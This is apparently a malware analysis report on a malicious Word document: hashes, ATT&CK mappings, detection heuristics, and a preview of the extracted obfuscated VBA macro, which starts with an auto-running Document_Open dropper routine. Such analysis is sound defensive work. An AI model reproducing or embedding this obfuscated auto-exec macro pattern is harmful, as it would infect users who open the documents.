Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9038ba1b7991ff38…

MALICIOUS

Office (OLE)

2.48 MB Created: 2017-12-04 10:14:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 5466c8a099d1d30096775b1f4357d3cf SHA-1: 4f632db14f1cda11f7d3f907e746155cde399eaf SHA-256: 9038ba1b7991ff38b802f28c0e006d12d466a8e374d2f2a83a039aabcbe76f5c
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute upon opening. It employs a social engineering lure by instructing the user to "ENABLE EDITING" and "ENABLE CONTENT" to bypass security measures. The macro code is heavily obfuscated, but the presence of CreateObject and GetObject calls, along with a large encoded blob, suggests it attempts to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-7570500-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7570500-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://na.gov.pk/ In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 884454 bytes
SHA-256: 037063eaabd41b36251ea6fa2e294fe733918f69bda48b4667d286f7a3aee823
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1062 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "TextBox1, 0, 1, MSForms, TextBox"

Option Explicit
Sub Document_Open()
On Error Resume Next


Dim vypS, WGfQ, CCxw As String
vypS = FUbx(kHus)
WGfQ = FUbx(yjcD)
CCxw = FUbx(CjQd)


Dim oaZH As String
oaZH = xmRJ(ztwU(209, 130))
oaZH = SCcV(oaZH, xmRJ(ztwU(11, 104)))
oaZH = SCcV(oaZH, xmRJ(ztwU(76, 62)))
oaZH = SCcV(oaZH, xmRJ(ztwU(26, 115)))
oaZH = SCcV(oaZH, xmRJ(ztwU(61, 77)))
oaZH = SCcV(oaZH, xmRJ(ztwU(82, 38)))
oaZH = SCcV(oaZH, xmRJ(ztwU(26, 115)))
oaZH = SCcV(oaZH, xmRJ(ztwU(14, 96)))
oaZH = SCcV(oaZH, xmRJ(ztwU(107, 12)))
oaZH = SCcV(oaZH, xmRJ(ztwU(6, 40)))
oaZH = SCcV(oaZH, xmRJ(ztwU(235, 173)))
oaZH = SCcV(oaZH, xmRJ(ztwU(26, 115)))
oaZH = SCcV(oaZH, xmRJ(ztwU(251, 151)))
oaZH = SCcV(oaZH, xmRJ(ztwU(205, 168)))
oaZH = SCcV(oaZH, xmRJ(ztwU(209, 130)))
oaZH = SCcV(oaZH, xmRJ(ztwU(236, 149)))
oaZH = SCcV(oaZH, xmRJ(ztwU(17, 98)))
oaZH = SCcV(oaZH, xmRJ(ztwU(82, 38)))
oaZH = SCcV(oaZH, xmRJ(ztwU(205, 168)))
oaZH = SCcV(oaZH, xmRJ(ztwU(174, 195)))
oaZH = SCcV(oaZH, xmRJ(ztwU(16, 95)))
oaZH = SCcV(oaZH, xmRJ(ztwU(30, 124)))
oaZH = SCcV(oaZH, xmRJ(ztwU(112, 26)))
oaZH = SCcV(oaZH, xmRJ(ztwU(205, 168)))
oaZH = SCcV(oaZH, xmRJ(ztwU(11, 104)))
oaZH = SCcV(oaZH, xmRJ(ztwU(82, 38)))

Dim Nagy As String
Nagy = vypS
Dim ShfQ As String
ShfQ = ""
ShfQ = SCcV(ShfQ, xmRJ(ztwU(48, 115)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(129, 187)))
ShfQ = SCcV(ShfQ, "\")
ShfQ = SCcV(ShfQ, xmRJ(ztwU(156, 204)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(76, 62)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(50, 93)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(107, 12)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(76, 62)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(198, 167)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(174, 195)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(244, 176)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(198, 167)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(82, 38)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(198, 167)))
ShfQ = SCcV(ShfQ, "\")
ShfQ = SCcV(ShfQ, xmRJ(ztwU(72, 31)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(26, 115)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(14, 96)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(80, 52)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(50, 93)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(89, 46)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(17, 98)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(244, 176)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(205, 168)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(199, 161)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(205, 168)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(14, 96)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(80, 52)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(205, 168)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(76, 62)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(6, 40)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(26, 115)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(14, 96)))
ShfQ = SCcV(ShfQ, xmRJ(ztwU(26, 115)))

YoDE ShfQ, Nagy, oaZH

Dim bgMm As String
bgMm = ""
bgMm = SCcV(bgMm, xmRJ(ztwU(48, 115)))
bgMm = SCcV(bgMm, xmRJ(ztwU(129, 187)))
bgMm = SCcV(bgMm, "\")
bgMm = SCcV(bgMm, xmRJ(ztwU(156, 204)))
bgMm = SCcV(bgMm, xmRJ(ztwU(76, 62)))
bgMm = SCcV(bgMm, xmRJ(ztwU(50, 93)))
bgMm = SCcV(bgMm, xmRJ(ztwU(107, 12)))
bgMm = SCcV(bgMm, xmRJ(ztwU(76, 62)))
bgMm = SCcV(bgMm, xmRJ(ztwU(198, 167)))
bgMm = SCcV(bgMm, xmRJ(ztwU(174, 195)))
bgMm = SCcV(bgMm, xmRJ(ztwU(244, 176)))
bgMm = SCcV(bgMm, xmRJ(ztwU(198, 167)))
bgMm = SCcV(bgMm, xmRJ(ztwU(82, 38)))
bgMm = SCcV(bgMm, xmRJ(ztwU(198, 167)))
bgMm = SCcV(bgMm, "\")
bgMm = SCcV(bgMm, xmRJ(ztwU(244, 176)))
bgMm = SCcV(bgMm, xmRJ(ztwU(205, 168)))
bgMm = SCcV(bgMm, xmRJ(ztwU(199, 161)))
bgMm = SCcV(bgMm, xmRJ(ztwU(205, 168)))
bgMm = SCcV(bgMm, xmRJ(ztwU(14, 96)))
bgMm = SCcV(bgMm, xmRJ(ztwU(80, 52)))
bgMm = SCcV(bgMm, xmRJ(ztwU(205, 168)))
bgMm = SCcV(bgMm, xmRJ(ztwU(76, 62)))
bgMm = SCcV(bgMm, xmRJ(ztwU(6, 40)))
bgMm = SCcV(bgMm, xmRJ(ztwU(17, 98)))
bgMm = SCcV(bgMm, xmRJ(ztwU(11, 104)))
bgMm = SCcV(bgMm,
... (truncated)